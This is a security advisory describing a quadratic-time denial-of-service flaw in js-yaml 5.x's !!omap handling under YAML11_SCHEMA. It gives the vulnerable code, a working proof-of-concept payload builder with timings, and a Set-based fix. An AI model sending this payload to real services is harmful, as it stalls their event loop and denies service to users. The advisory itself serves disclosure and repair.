GHSA-724g-mxrg-4qvm

### Summary `js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`.

### Details In `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`): ```js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => [], addItem: (container, item) => { // ... for (const existing of container) // O(n) per insertion! if (hasOwnProperty(existing, itemKeys[0])) return 'cannot resolve an ordered map item'; container.push(object); // n insertions → O(n^2) total return ''; } }); ``` For a document with `n` unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = **O(n²)** total work.

### PoC (runtime-confirmed on v5.2.0) ```js const yaml = require('js-yaml'); function buildOmapPayload(n) { let p = '!!omap\n'; for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n'; return p; } // Timing results on v5.2.0: // n=1000: 9ms // n=5000: 73ms (5x n → 8x time) // n=10000: 255ms (2x n → 3.5x time — supralinear) // n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed) // n=50000: 10613ms ← blocks event loop for >10 seconds yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA }); ```

### Impact Any application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export).

### Fix Replace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup: ```js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => ({ list: [], seen: new Set() }), addItem: (state, item) => { const key = Object.keys(item)[0]; if (state.seen.has(key)) return 'duplicate omap key'; state.seen.add(key); state.list.push(item); return ''; }, resolve: (state) => state.list }); ```